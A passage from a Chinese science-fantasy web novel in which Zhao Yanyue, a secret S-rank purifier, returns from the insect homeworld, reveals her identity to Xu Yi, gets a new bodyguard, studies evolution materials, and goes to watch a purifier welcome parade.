闻星洲垂眸看向她，想了想开口安抚：“蜂巢里的绝大部分人都是麻木的，逃离安稳的生活也需要勇气，更别说留给他们思考的时间并不多。” “我并没有失望，执政官在了解了虫族星的情况后，应该也没想过要将所有人都救出来。” 男人眸光一顿，像是第一次认识赵宴月般侧过头看了她一眼：“殿下很敏锐。” 他的语气不再带着令人如沐春风的关切，变成了一贯的客观理智。 “如今王虫降生，高等级虫族孵化速度加快，这是我们不得不面对的现实，在这个基础上如果虫族还失去了稳定的食物来源，无异于将三颗宜居星球推向了水深火热之中。” 这话听着冷血无情，在赵宴月听来“水深火热”的形容词已经委婉了。 王虫未能降生前，S级王虫谁也不听谁的，通常是各自带领A级B级以及其他低等级虫族发起进攻，就这种情况还能和联邦打个五五开，甚至二十年前还出现过攻破边缘星防线的光辉事迹。 现在新的王虫已经出现，虫族可以说已经从诸侯争霸直接来到了大一统时代。 一旦王虫出手，S级王虫指哪打哪，不管是紫微星、太微星还是天市星，防线被攻破都是必然的局面。 唉。 这三垣星系未免也太不安全了。 闻星洲似乎看出了赵宴月在想什么，只不过目前的局面一时半会儿确实很难改变。 看她一脸忧愁，闻星洲只好再次充当起心灵抚慰大师，学着云中宫殿里的人对殿下的心灵进行全方位呵护。 “研究表明王虫孵化出来后的一年内都处于成长期，天性限制着它不会离开巢穴，殿下不必过于忧虑。” “说得好。”赵宴月呱唧呱唧地鼓掌，然后夸赞道：“听完让人更忧虑了，特别是紧迫感一下子就上来了。” 闻星洲被噎了一下，只好笑了笑，顿时放弃了心灵抚慰大师的职业，和她认真讨论了起来。 “联邦的劣势在于战士们无法抵御污染，但是净化师的数量远远不能支撑起污染的防线，只要这个问题不解决，一旦王虫发起进攻，联邦就毫无还手之力，然而净化师的数量并不会突然增多，最终只能加大战士的投入。” 赵宴月接过侍卫官递来的功能水喝了一口，闻言在进医疗室之前顿住了脚步。 她转过身面对着闻星洲，懒洋洋道：“净化师的数量确实不会突然增多，但是已有的净化师并没有被利用到极限，虫潮结束后再进行净化的效率太低了，为什么不让净化师直接参与进去呢？C级以上精神海的净化师也不少吧。” 闻星洲听完这话，一直平稳跳动的心脏都“咚”的一跳。 得亏是她，这话要是换别人来说，指定要被群起而攻之，最反社会的反动分子都没有她反动。 为了精神力能最大程度被利用，大部分净化师连灵兽都未曾契约，没有作战的能力。 这件事要操作起来难度巨大，不仅是来自各方面的压力，就是云中宫殿的净化师们自己也未必愿意。 脑海里的思绪快速闪过，利弊、阻力、可能性……无数念头翻涌。 上边一张嘴下边跑断腿，看着赵宴月走进医疗室的背影，闻星洲如同一座沉默的雕塑般在门口站了许久。 赵宴月从医疗舱里崭新出厂后，才忽然意识到自己好像忘了什么。 果然，刚踏入休整区，就看到许奕和小莫几人在人群中四处寻找，许奕的目光一遍遍地扫过每一个角落，脸色尤其难看。 赵宴月心虚得连凑近的步伐都迈得更小了点，举起手挥了挥：“我在这我在这！” 许奕闻声看过来，当看清是赵宴月时，他眼中的冷冽和焦灼瞬间被惊喜和后怕冲散，目光都恍惚了一下。 还好，还好上来了。 他快步走上前，上下仔细打量了她片刻，语气还算稳定道：“什么时候上的星舰？” 赵宴月思索了一会儿当时的场景，老实回答：“大概在星舰离开前的最后一秒。” “最后一秒？”许奕的声音陡然拔高：“你…你真是…！” 他深吸一口气，平复了下翻涌的情绪，见赵宴月一副做错了事的心虚模样，终究也没多说什么，反倒开口驱散了有些沉重的气氛：“干什么去了非得搞得这么极限，八字写纸上都能拿去砍树了吧。” 赵宴月听到夸奖，顿时挺直腰板：“没那么软。” 她不上来星舰根本不会走。 许奕看她这副死猪不怕开水烫还略带得意的模样，一肚子的着急上火顿时泄了大半，只剩下了无奈和劫后余生的庆幸。 “你在骄傲什么？我没在夸你。” “……喔。” 小莫他们此时也围了上来，如释重负道：“差点都急死人了，找了八百遍也没找到你，你从哪冒出来的？” “上来了就好。” 赵宴月在星舰上，立马就能回家的喜悦此时才终于后知后觉地涌上几人心头。 小莫点开终于开机的光脑，正打算去星网上冲冲浪和时代接轨一下，结果在看到热搜的时候顿时两眼一睁。 “小赵，这上面说的‘202届新星杯’最大未解之谜……好像说的是你欸？他们讨论得好激烈啊，你底裤什么颜色都要被扒出来了……” 赵宴月：“……？” 第87章 听到了小莫的话, 其他几人纷纷被勾起了好奇心，就连许奕都饶有兴致地点开了光脑。 有关“202届新星杯最大未解之谜”的热搜里，讨论的热度堪比火山里沸腾的岩浆。 新星杯距离结束刚过去了几天时间, 如今可能正是热度发酵到最高点的时候。 【深度扒皮！X-4018小队队员行为异常之谜——强顶污染斩杀S级虫族, 这到底是道德的沦丧还是人性的扭曲】 赵宴月点进这个标题，忽略一些研究她衣服穿了几天底裤是什么颜色的无意义评论, 一条条看了起来。 “家人们可以去看‘数据狂魔’这个博主的分析帖，X-4018队伍绝对有猫腻。” “……不用看分析贴我都知道有猫腻，垃圾女王这个人太复杂了我不好分析, 但许白亦不是这么冲动的人。” “目前最有可能的猜测是垃圾女王新灵兽的技能可能有某种隔绝污染的作用。” “最值得怀疑的人不应该是江茂茂吗，垃圾女王和许白亦顶多算脑子不正常, 江茂茂才是真正的不对劲。” “我也觉得。” “据统计新星杯平均每名B级机甲尖兵消耗了15个净化资格，他一个C级精神海只用了9个，开没开自己心里清楚哈。” “偏个题, 就我一个人觉得垃圾女王的机甲看着很好开吗？看了好多超燃剪辑, 她的机甲动作格外丝滑。” “早就爆出来了，她的机甲是封嘉荣架构的, 采用了什么细分脉络，现在人家接单都接不完, 没点钱就别想找他了。” “有一说一, 这个细分脉络除非你对自己操控精神力的水平及其自信, 不然还是老老实实用传统脉络吧。” “所以江茂茂到底是怎么个事？如果正常来讲算他使用15个净化资格, 队伍积分也得少3000。” “少3000人家队伍的积分也稳稳排在百名内, 这没什么好争议的，前十又没特殊奖励。” “猜来猜去，你们从来没往逻辑最通顺的那个可能想过吗？” “想过，但我不敢说, 而且这更没有逻辑吧……” “真相只有一个——江茂茂是净化师！” “评价为想象力过于丰富，不是我看不起新星杯哈，殿下怎么可能会参加这种比赛，别侮辱净化师了。” “那我投垃圾女王一票，江茂茂净化不了许白亦，只有垃圾女王是净化师，许白亦的行为看起来才合理。” “垃圾女王是净化师我倒立吃屎。” “楼上怎么连吃带拿，反正都猜新星杯里有净化师了，那不能更大胆点吗？” “你胆子大过头了吧，C级净化师和S级净化师是一个概念吗？” “S级净化师，好恐怖的名号，打出这五个字的时候手都在颤抖。” 赵宴月的目光在倒立吃屎的那条评论上看了又看，顺手点了个赞。 许奕就坐在她旁边，自然也看到了星网上的热烈评论。 他对于“赵宴月是净化师”这种猜测没什么反应，倒是被关联推送的“新星杯高燃混剪（垃圾女王个人向）”吸引了注意力。 点开视频，正是赵宴月在争夺物资箱时独自引开A级王虫并和它缠斗在一起的画面。 剪辑刻意放大了机甲的每一次惊险闪避和受损的火花，配乐也十分激昂。 ——总之怎么燃怎么剪，看着像是狂热粉丝剪出来的安利视频，十分能调动情绪，外行看了都得喊一声刺激。 许奕看着看着却是眉头越锁越紧，他看到的不是什么“超燃”，而是赵宴月对自己的极端不负责。 到底谁能想出和A级王虫拖时间的鬼主意。 视频结束，许奕“啪”地将光屏转向赵宴月的方向。 昏暗光线下，他脸上的线条显得格外冷硬：“你看看，你这打得简直胡闹！谁教你这么赚积分的？” 赵宴月的目光在播放着的超燃混剪上停留片刻，眨了眨眼没吭声。 “你当时脑子里装的是什么？”许奕指着屏幕，“低估对手，高估自己，自陷险境，不顾污染。” “你是S级精神海，就更应该把控好污染的防线。” 许奕的声音此时更加压低了些，语气严肃道：“在这样的高污染环境下，与高等级虫族长时间近身缠斗，这对你来说是不可逆的损伤，为了200积分赌上一个未来S级机甲尖兵的根基，你觉得值得吗？你对你自己太不负责任了。” 他的分析条理分明又一针见血，完全基于一个机甲尖兵的战场常识和对虫族污染应有的警惕。 角落的空气仿佛都因他的话语而凝滞，赵宴月安静地听着，脸上没什么被训斥的难堪。 网友们看到她这种操作只会不嫌事大地凑热闹，虽然被说了一顿，但赵宴月也清楚地知道许奕会表现得如此生气，恰恰是因为他切身站在了自己的角度思考。 她放下手里空掉的营养剂管，也收起一贯的漫不经心，认真了起来：“你说得对，按照常理来说我确实不应该这么做，这是对自己很不负责任的行为。” 许奕紧绷的神色稍微松动，见状也软下了语气：“我没有要批评你的意思，只是希望你以后遇到这种情况能更理智一些。” 他这边的话音未落，赵宴月已经话锋一转；“但是我这么干自然有我的道理。” 许奕刚松开的眉头顿时又拧了回去，差点被这个死不悔改的小犟种气死。 这还过上几天当爹的瘾，就已经先深刻体会到了什么叫儿女都是债。 他深呼吸了几下忍住火气，尽量让自己的语气心平气和：“那好，你说说你的道理，我看看到底有没有道理。” 赵宴月微微往许奕的方向侧了侧身，小声道：“因为我是净化师，精神海污染增长速度还没我净化的速度快。” 许奕：“……你还敢狡辩。” “我没狡辩。” “净化师怎么可能参加新星杯？” 许奕气极反笑，示意了一下周围的环境，语气不辨喜怒：“联邦怎么还让尊贵的月月殿下待在这种地方？混在三百多号人里，没给你准备个用防护罩里三层外三层隔开的豪华大单间休息吗。” 实不相瞒，这还真有。 只不过许奕他们都待在休整区，她自然也就没去。 赵宴月忧愁道：“我真没狡辩，不信你问闻星洲。” 闻星洲的大名一出，时间都仿佛在这一刻被按下了暂停键。 许奕盯着赵宴月，试图从她脸上找出一丝开玩笑或是恶作剧的痕迹，但她满脸都写着真诚。 “你……”许奕的喉结滚动了一下，声音干涩得像是砂纸摩擦，“你说你是净化师？” “昂。” 许奕的脑子嗡嗡作响。 新星杯超燃混剪的画面不受控制地飞速闪过，她那些不合常理的操作、庄上校口中“最重要的那位”，在此刻如同散落的拼图，被“S级净化师”这个关键词瞬间吸附组合，构成了一副让人难以想象的真相。 巨大的冲击让他一时失语，许奕半信半疑间，头顶不自觉冒出一个问号：“那联邦怎么敢让你参加新星杯的？” 赵宴月充当了一回青天大老爷，老实道；“这主要是我非要参加，与其被别人保护，我更想自己锻炼出保护自己的能力。” 许奕将她这句话在脑子里转了转，沉默片刻后才开口：“挺好的，现在看来你的训练成果很不错。” 他还在消化这件事，就在这时，一名侍卫官悄无声息地出现在他们所处的小圆桌旁。 侍卫官先和许奕打了个招呼，然后看向赵宴月道：“执政官阁下请您移步办公室，有事想和您商量。” 赵宴月看了一眼许奕，然后站起身对侍卫官点点头：“那走吧。” 看着赵宴月随侍卫官离去的背影，许奕这下是真真切切地信了她的话。 他忽然回想到那条“倒立吃屎”的热评，顿时嫌弃了起来。 赵宴月跟着侍卫官来到了星舰上层甲板，办公室的厚重大门无声滑开。 室内光线明亮而柔和，闻星洲站在巨大的观景窗前，窗外是深邃的宇宙和缓缓旋转的星云，看着瑰丽又奇异。 “殿下，请坐。”闻星洲转过身，朝沙发示意了一下。 赵宴月也没客气，坐下后直接问道：“找我有什么事？” 闻星洲走到她对面坐下，开门见山：“星舰即将落地港口，有两件事需要和殿下说。” “第一是易秋体内的寄生虫族已经清除，目前还需要静养但已无大碍。” “第二是关于殿下的安全问题，柏慈上将从今以后会交接易秋的工作。” 闻星洲说到这顿了顿，又进一步解释说明：“易秋身上的问题就是柏慈上将负责解决的，他在寄生虫族的研究方面相当专业，让他接手殿下的安保工作也是为了预防此类事件再次发生。” 赵宴月提出异议：“柏慈上将是S级机甲尖兵，这也太不方便了。” S级机甲尖兵也就比净化师的数量多出两倍，基本每一个人都在星网上有名有姓，区别无非在于热度高低罢了。 从来没有过哪一个S级机甲尖兵会给净化师当“专属骑士”，毕竟大家都是稀缺生物。 “没什么不方便的，他洗衣做饭的本事不比易秋差到哪去。” 闻星洲直接偷换了概念，言语中也透出了对柏慈的熟稔，显然不打算再和赵宴月继续商量。 他说到这，又稍稍正色起来：“王虫的存在对殿下来说已经突破了常规的威胁等级，我们必须采取最高级别的防护措施，柏慈上将是当前最好的人选。” 赵宴月听完，思考片刻后也没再拒绝。 她平时都在学校里，也就出门才会需要保镖，其实也没什么影响，反正柏慈也算是她的老熟人。 第88章 星舰平稳地滑入天市星军用空港, 发出低沉的嗡鸣。 休整区的人群开始流动，近年被虫族抓走的战士们已经迫不及待要回家，而蜂巢原住民们的神情明显茫然得多。 他们被官方的工作人员带领着汇入接驳通道, 之后会进行一段时间的□□育, 而后进行安置。 许奕站起身，拍了拍赵宴月的肩膀, 力道不轻不重：“我回绿野城一趟，你自己在学校也多注意。” 在和天市星连上网后，不少人都给亲朋好友先发去了信息。 不止星舰上的人归心似箭, 不少家庭也早就翘首以盼。 赵宴月点点头，想了想又问道：“你在家里待多久？” “待不了多久。”许奕顿了顿, “如今这种情况远征军压力很大，我已经收到指令，需要尽快归队。” “知道了。”赵宴月应道, 目送许奕挺拔的背影汇入人流消失在通道口。 “殿下, 这边请。”侍卫官过来引路，赵宴月收回目光, 被带向空旷无人的VIP通道。 通道尽头一辆车牌号熟悉的悬浮车静静停泊，车门旁站着一个身材颀长挺拔的男人。 他似乎等了有一会儿, 却不见丝毫焦躁, 阳光穿过港口巨大的穹顶落在他侧脸上, 整个人周身都泛着一种近乎漠然的沉静。 随着赵宴月走近, 她的脚步声也渐渐变得清晰, 柏慈闻声抬眸，目光精准地落了过来。 “殿下。” 随行的侍卫官拉开车门，赵宴月看向他，点了点头懒洋洋地打招呼：“好久不见啊柏慈上将, 看来你这段时间精神海状态良好，不需要来我这光顾。” 柏慈垂眸看回去，和她对视了一眼平淡道：“说明殿下上一次的救治效果很好。” “那可不。”赵宴月轻哼一声坐进车里，吩咐好了目的地后，悬浮车也平稳启动，无声地汇入港口外的车流中。 车内的空间宽敞而舒适，赵宴月看着窗外飞速掠过的景象，开口询问：“易秋怎么样了？” “被吸食的血肉需要静养一段时间恢复，不会有后遗症。” 有他这个寄生虫族研究所里出来的专业人士开口，赵宴月也放下了心：“那就行。” 柏慈“嗯”了一声，而后想了想又打破了车内的安静：“易秋的工作会由我全面接手。” “我知道。”赵宴月看了柏慈一眼，感觉他在没话找话，也随口回道：“让你来当保镖，大材小用了哈。” 柏慈沉默了片刻，在赵宴月以为这个话题都过去了之后才开口：“没有，是我自己申请的。” “……嗯？” 柏慈分析了一下她这个语气词的意思，而后嗓音冷冷地保证：“殿下可以放心，易秋会的我都会。” “喔。”赵宴月闻言扭过头狐疑地看了他一眼：“奇怪，怎么感觉你比之前活泼开朗许多。” “活泼开朗？”柏慈一怔，“我吗？” 他这个人确实从头到脚都很难看出活泼开朗。 赵宴月得出这个结论后，进一步进行客观并且严谨的陈述：“我的意思是相比较而言。” “这是好的改变吗？” “算是？” “那就行。”柏慈的目光很轻地扫过她的脸，不知道是解释还是其他的什么：“可能是因为想通了一些事。” 赵宴月才不管他想通了什么，眼见窗外已经变成了熟悉的景象，直接感叹道：“好！我胡汉三又回来了。” 街上的行人来来往往，勾肩搭背的一看就知道都是兰柏林和斯伦军校的学生，最寻常不过的热闹场面。 悬浮车刚停到不停巷的一家热闹饭馆外，江茂茂的嗓门就穿透了车窗：“小赵小赵！” 赵宴月降下车窗，看着正朝这边走来的江茂茂和许白亦回应道：“来了来了。” 光脑一连上天市星的星域网，她就给不知道给她发了多少消息的两人回了信，约好了一起吃饭。 ——主要是解释一下她怎么失踪的。 许白亦跟在江茂茂身后没说话，目光在赵宴月身上停留片刻后，又敏锐地落在了旁边的柏慈身上。 他眼神微微一凝，瞬间便认出了这位曾经声名显赫的‘联邦第一人形兵器’，见他和赵宴月在同一辆车里也没多问。 在赵宴月下车后，悬浮车的车窗便无声升起，安静地滑行到不远处一个不引人注目的角落停了下来。 赵宴月拍了拍衣角上并不存在的灰，看向面前的饭馆：“真热闹。” 这间开在不停巷的饭店，是两个学校的学生们解决口腹之欲的热门据点，墙上还还挂着新星杯的海报。 此刻正是饭点，里面人声鼎沸，空气里弥漫着饭菜的香气，尤其是肉的焦香格外突出且馋人。 三人在角落一张靠窗的桌子坐下，许白亦接过了无人在意的点菜的活。 江茂茂则一屁股坐在赵宴月对面，急不可耐地开口问：“你到底怎么失踪的？” “别急。”赵宴月慢条斯理地给自己倒了一杯小麦茶，“简单来说就是被虫族抓走了，然后又被联邦救回来了。” 许白亦动作顿了顿，闻言看了过来：“是虫族抓的你？” “真的假的？”江茂茂倒吸一口凉气，“我还以为你是被坏人绑架了，是被抓到边缘星的虫巢里了吗？是不是联邦的远征军把你救出来的？你别简单来说，我要听‘复杂来说’版本。” 江茂茂追问着细节，赵宴月却抬手指了指不远处公共光屏上刚好在滚动播放的联邦新闻。 “……联邦远征军近期在一次秘密搜救行动中取得重大突破，成功从边缘星某高危虫巢内救回多名在历年战役中失踪的战士，这些英勇的战士在极端恶劣的环境中展现了惊人的意志力……目前获救人员已安全回归，部分人员正在接受妥善安置与康复治疗……” 新闻画面配合着激昂的音乐，展示着模糊的星舰画面和打了厚码的被救人员身影，官方腔调听着更是振奋人心。 能放出来给公众展示的新闻完全模糊了信息，容易引起社会恐慌的王虫和虫族星完全被隐去，蜂巢的存在更是只字不提，全都是正能量。 赵宴月放下小麦茶：“官方总结果然精彩。” 江茂茂看着新闻，又看看赵宴月，张了张嘴最后憋出一句：“这新闻听着字多，其实和你的‘简要来说’一模一样。” 许白亦倒是明白了什么，没放出来的自然就是不能说的，最终也只是看向赵宴月道：“回来就好。” “那倒也是。”江茂茂的注意力很快被转移，立马又想起星网上这几天关于他们队伍的火爆讨论，顿时和赵宴月大倒苦水：“你刚回来可能不知道，星网上竟然一堆人猜我是净化师，我的老天爷，这是怎么猜出来的，我现在走在路上别人看我的目光都不对了。” “我知道。” 作为一个10G冲浪选手，除了某些不可抗力原因外，一般来讲星网上发生了什么赵宴月第一时间就知道了。 她一边看似优雅实则很快地干饭，一边咽下饭菜后不紧不慢地举手回答：“因为你只用了9个净化资格，猜你是净化师很有道理。” “你不会也怀疑我吧？” 江茂茂听到这话睁大了眼，感觉自己背了黑锅，悲愤道：“连你也这样，我要大叫一声直接死掉。” 赵宴月“哈哈哈”地笑出声，笑完才质疑道：“那为什么你只用9个净化资格，人家B级精神海比你多了快一倍，这确实很让人怀疑啊。” 许白亦：“……” 他服了。 江茂茂绝望道：“说出来你可能不信，但我觉得唯一的原因就是他们自己菜……而且你别笑我，还有网友说你是净化师呢，他们真是疯了。” 赵宴月趁着干下一口饭的间隙，抽空表达疑惑，一点也不耽误吃饭：“没人怀疑许白亦吗？” 终于吃上饭了。 她已经好久没吃饭了。 许白亦见状给她续上一杯小麦茶，以防她把自己噎着，摇了摇头道：“虽然我们都是S级精神海，但是大家好像只怀疑你。” “换我我也不怀疑许哥啊，他这个S级机甲尖兵当的很符合大家的刻板印象，哪有净化师的样子。”江茂茂插话道，然后又对赵宴月表忠心：“当然我也不怀疑你啊小赵。” 他说到这放下筷子，深沉地叹了一口气：“你别看网上的人说得起劲，其实真正会相信你是净化师的估计只有邪教，但是他们是真觉得我是净化师啊，我真服了……” 赵宴月也深沉地叹了一口气，彷佛感同身受般安慰道：“那真是很坏了……” 许白亦：“……”他真没招了。 他想了想，干脆跳过了这个话题，看向埋头苦吃的赵宴月道：“新星杯前100名的小队一共300个人，之后会被分进‘天市星代表队’备战班，等两个军校联赛负责组的老师规划好课程之后就开始上强度了，你回来的正是时候。” 赵宴月眨了眨眼问：“上强度？大概什么时候开始？” “净化盛典过后。” 赵宴月已经很久没听过这种超出自己知识范围内的专有名词了。 她刚想追问，旁边学生的谈话声浪恰好拔高，清晰地传了过来。 “‘云中宫殿Y-07号’星舰再过几天就落地港口了，好期待好期待。” “我表哥就在港口执勤，说欢迎仪式的阵仗早就开始布置了，比往年都大。” “真的假的，每年都说比往年都大。” “应该真的吧……虽然上一届联邦军校联赛我们还是垫底，但是今年我们星球发布的灵兽完整进化链比太微星多，所以今年分配到我们星的净化师名额好像也比去年多。” “太好了！那今年天市星附属编号星上的边防军就轻松多了。” “唉，就是不知道能不能挤进去。” “管它那么多呢，挤就是了，反正从港口到天市会堂的路又不短，总能挤进去。” “难说，你要知道殿下们的车队经过时是有几率会净化围观群众的，没点力气还真挤不进去。” 赵宴月一边吃一边听，从他们的聊天中对这个净化盛典也有了点了解。 四年一届的联赛排名决定了每颗星球往后四年的净化师资源分配，但是每颗星球每一年发布的灵兽完整进化链数量对当年的资源分配也有影响。 比如当年新增的净化师就按照星球当年发布的灵兽完整进化链数量的占比分配，所以每年也会出现轻微波动。 今年是按照上一届联赛排名分配净化师资源的最后一年，这个学年结束，下一学年新一届联赛就重新举办了。 “担心你担心得我都差点忘了这回事。”江茂茂明显也听到了隔壁桌的讨论。 他兴奋地搓了搓手，眼睛亮晶晶地看向两人：“等殿下们到天市会堂后，边防军会在未来几天分批次过去进行净化，天市会堂我们是进不去，但是热闹还是可以凑的嘛。” 他说到这还贴心道：“而且我们也不用挤前排，可以把净化的机会留给需要的人，主要是感受一下那种热烈的氛围，去不去去不去去不去？” 许白亦端起水杯喝了一口，他看了赵宴月一眼，想了想也补充了一句：“欢迎仪式的场面可以说是万人空巷，你看完可能会有特别的感受。” 实不相瞒，他一直觉得赵宴月对自己S级净化师的身份缺少认知。 赵宴月觉得自己已经好久没吸过人群的阳气了，有热闹不凑王八蛋。 她往外看了眼玻娅区上方澄澈的天空，又瞥了一眼不远处那辆安静蛰伏的黑色悬浮车，然后收回目光又往自己嘴里塞了一口饭：“过几天的话，凑凑热闹也行。” 刚好她这几天也能找松教授研究一下善鳄龟进化链的事，驾驶舱里还塞了一堆杂七杂八的花花草草。 术业有专攻，专业的事就交给专业的人做，反正《进化图鉴》又没规定一定要让她自己研究出进化链。 第89章 实验室里透着一股混杂着矿物和泥土的气息。 松教授拿起一株形似扭曲鹿角的植物, 指尖轻轻拂过上面的纹路，眼神专注而平和。 “质地坚硬致密，带有明显的矿物结晶特征, 这种结构……” 老人说到这, 看向旁边的人提问道：“记得《灵兽进化材料学》里关于防御型灵兽的材料特性吗？” 赵宴月记录实验数据的手一顿，听到这话顿时一个激灵, 回忆了一番道：“强调结构的稳定性和甲壳类物理防御的强化。” “对。”松教授赞许地点点头，将星屑荆棘小心地放在铺着白布的托盘里。 “这株植物很可能蕴含着极强的物理防御属性和能量固化特性，你认为这是善鳄龟的进化材料是非常有道理的, 如果善鳄龟的进化方向是强化其甲壳的绝对防御或者能量反弹能力，它绝对是个值得深入研究的进化候选材料。” 说完, 他又拿起一团半透明的奇异藤蔓：“形态奇特，按照实验数据来看，这个能量波动值呈现出了空间亲和性……”松教授沉吟片刻, 又喃喃自语道：“空间类材料往往难以稳定结构, 但这株植物似乎自成体系，非常稳定, 或许可以尝试空间折叠……可以排除。” 赵宴月从虫族星上薅下来的花花草草很多，这么几天下来, 她才堪堪将所有植物做完基础数据分析。 眼见松教授又去查看起了报告, 赵宴月拿起一块黑黢黢的, 看起来像是布满孔洞的蜂窝石的未知矿物, 在灯光下反复观察起来。 这块石头的质地异常沉重, 孔洞结构看似无序，但根据实验数据来看能量十分稳定，而且和星屑荆棘的相性也很好。 好像也符合可以当作善鳄龟的进化候选材料之一，唯一的问题是看着更像是矿物, 而不是灵兽进化所需要的灵植。 “你对这个矿石很关注？”松教授不知何时走了过来，看了赵宴月一会儿后开口问道。 赵宴月回过神：“我在想它有没有可能是某种植物矿化后的残留物。” 松教授闻言，目光也看向了蜂窝石：“植物矿化的特性非常罕见，需要对它进行更深入的分子层面的扫描，如果确定是灵植之后就可以和星屑荆棘做一个能量调配实验，状态稳定的话可以列为善鳄龟进化链的可能组合之一。” 他说到这，忽然感叹了起来：“没想到这么多年下来，善鳄龟的进化链现在还能有这样的突破，这也多亏了你。” “还得是我运气好，不然那些工程师们也是巧妇难为无米之炊。”赵宴月骄傲道，一点也不谦虚，“运气好也是本事嘛，您不是很久之前就说过干我们这个专业的都需要点运气吗。” 她说完扭了扭自己有些僵硬的腰板，顿时发出了“咔咔”的声响。 这几天她几乎都泡在实验室里，记录植物形态、测量密度、检测基础能量反应等等。 这些未曾发现过的灵植都需要先出具各方面的数据，而后由松教授根据分析报告进行排列组合，归纳出可以进行实验的进化链。 松教授一听她这话，顿时笑了笑：“运气诚然是一部分，但也得你本身的基础知识足够扎实。” 他看着实验台上分门别类贴好标签的样本，又对赵宴月的工作表示出了高度认可：“你这个助手当得我都不想放你走了，后续的工作就交给我吧，这可需要不少时间。” “那您先忙，我还得去凑个热闹。” “净化盛典吗？”松教授随口问。 “这您都知道。” “这我能不知道吗。”松教授看了她一眼，而后收拾起实验台：“学校里现在都空了，得亏你还这么沉得住气，我以为你与众不同，根本不打算去呢。” 他说到这又看了眼时间：“现在过去应该来不及了吧？” “来得及来得及。”赵宴月一边说一边往外跑。 松教授看着她的背影，摇了摇头：“这怎么来得及，这个点车队都要进入天星路了。” 校门外阳光正好，不远处一辆黑色飞行器安静地停在树荫下。 赵宴月几乎是跑过去的，人还没到声音先至：“走走走，要来不及了。” 她约好了和许白亦江茂茂他们在天星路27号的知名商厦云顶港顶层的观景平台会和，江茂茂都已经和她催了半天了。 天市会堂就位于天星路1号，这条路是净化师车队进入天市会堂的最后一程，也是人最多最热闹的一段路。 在净化师车队进入天市会堂前，整条从港口到天市会堂的途径路段和空域都是封锁的，一切公用和私用的交通工具都不得通行。 柏慈打开舱门，等赵宴月上了飞行器后给她倒了杯水，然后不紧不慢地安抚道：“现在过去时间刚好。” 驾驶飞行器的侍卫官闻言插话：“殿下怎么会对欢迎仪式感兴趣，想见其他净化师殿下的话，大可以去云中宫殿看个够。” 这种天气随便在外面跑几步都热得很，赵宴月给自己灌了好几口水才慢悠悠答话：“这你就不懂了，凑热闹的关键就在于热闹。” 大家都是去看净化师，她是去看大家看净化师。 引擎瞬间发出低沉有力的嗡鸣垂直升空，在云层中划出一道迅疾的轨迹。 几乎有些刺目的日光下，天星路的道路两边人潮汹涌，声浪滔天。 时间接近正午，天星路两侧警戒线外的道路已经被提前数小时赶来的人们挤得水泄不通，周边的高层建筑里也挤满了人。 鲜花、彩带、各位净化师的Q版周边被众人举在手上，从上往下看去是一片被一条直线劈开的彩色海洋。 巨大的全息投影悬浮在上空，播放着净化师车队目前经过的位置，人群的欢呼声浪随着车队的靠近而层层拔高，气氛沸腾到了顶点。 警卫员们声嘶力地竭维持秩序，汗水都浸透了制服，却难以完全压制人群沸腾的情绪。 车队此时还未到云顶港附近，这里的人群还在看着天上的全息光屏引颈期盼。 人群中，一个年轻人正举着高倍率的直播设备对准空中的全息影像，他摸了一把汗道：“家人们，我可是凌晨五点就过来了才占到的这个位置，带大家一起线上云感受一下欢迎仪式，有句话说得好，不来感受一下欢迎仪式人生白活哈，有条件的记得给主播刷刷礼物。” “给你打赏点三瓜两枣，要不是我是你老粉，现在早就去看官方直播间了。” “主播养家也不容易，支持你一下。” “现在相当于我在直播间里看官方投在全息光屏上的直播……” “有一说一，再好的直播设备都比不上电蝇蛾清楚啊，果然传媒行业契约电蝇蛾是门槛。” “又开始下定义了，自从电蝇蛾进化链被发现以来，也没见做镜头设备的厂商倒闭啊。” “我觉得画面挺清晰的，连天上的小黑点都看得很清楚。” “老天爷！快别吵架了！那是飞行器！哪个龟孙这么大胆！” “飞行器？不是说所有空域都封锁了吗？妖妖灵妖妖灵！来个人管管啊！” “举报！必须举报！净化盛典这么神圣的时刻，容不得被这种法外狂徒破坏！” “不会是危险分子吧，是不是想对殿下们不利？” “放心吧，你真当殿下车队铁桶一样的安保是好看的，除非虫潮来了，不然但凡有点脑子的坏人都不会这种时候动手。” “真是飞行器！刚才还在云里看不清，降落的方向好像是云顶港顶层的停机坪。” “镜头拉近点！方便我截图举报！快！斜对面那栋大厦，离你大概五六百米。” 弹幕飞速划过，现场的群众浑然不觉，但有飞行器出现在净化师车队上方封锁空域的消息却在星网上引起了不小波澜。 直播间的热度飙升，随着越来越多的观众涌入，礼物特效也在公屏上炸开了花。 顶着超高打赏等级的土豪大佬发言道：“飞行器降落要时间，速速去云顶港截住犯罪嫌疑人，礼物都是小意思。” 年轻的小糊糊主播哪见过这种场面。 尚飞飞看了眼天上即将进入天星路的车队，又看了看离他五百米开外的云顶港，花了三秒钟纠结。 这可是他好不容易抢到的有可能被净化的位置。 虽然没上过战场，但毕竟秘境里也有虫族，他的精神海也被污染了不少，要是上楼了那肯定就超出了净化范围。 随着越来越多土豪发言截住人就打赏，尚飞飞咬咬牙，一狠心扒拉开人群，让出了警戒线旁边的绝佳点位。 不净化又死不了人，钱要是错过了可就没有了。 周围的人群巴不得他把位置让出来，纷纷让开了道。 赵宴月对此浑然不知，她下了飞行器后立马通过专用通道下了楼，往云顶港大厦的观景平台走。 观景平台视野绝佳，能将整条天星路和即将到来的车队尽收眼底。 这个位置并不能被净化，真的只能起到一个凑热闹的作用，而且购买门票的价格高昂，虽然人依然多但并不拥挤。 尚飞飞刚火急火燎地从电梯上下来，立马眼前一亮隔着人群指着对面道：“我来得刚好！就是她！我看见她刚从楼上下来的！” 他的视线死死盯着少女的背影，生怕跟丢了人，结果却被工作人员挡住了路：“先生您好，请出示观景平台的购票信息。” 尚飞飞无奈收回视线，着急道：“……多少星币，我现在买。” “9999星币。” “……你抢钱呢？” 工作人员脸上的微笑不变，声音轻声细语：“平常是99星币，您来得巧了，刚好碰上今天的特别定价。” “……这种‘巧’给你你要不要啊？” 另一边的许白亦和江茂茂早就已经到了，此时正坐在落地窗旁的桌子边，桌上还点了些精致的茶点。 “小赵！你可算来了！”江茂茂招呼着赵宴月，兴奋地指着下方，“快看快看！车队马上到我们下面这段路了！哇靠这场面！” 许白亦也朝赵宴月点点头，目光扫过她身后，虽然没看到柏慈的身影，但也猜到他肯定在附近。 赵宴月溜溜达达地走到窗边：“让我看看到底怎么个事。” 远处的白色车队正缓缓驶近，人群的欢呼声隔着厚重的落地窗还震耳欲聋。 车队的首尾都由重型装甲悬浮车开道，簇拥着中间一辆又一辆的花车，每隔两辆车就夹杂着一台军用装甲车。 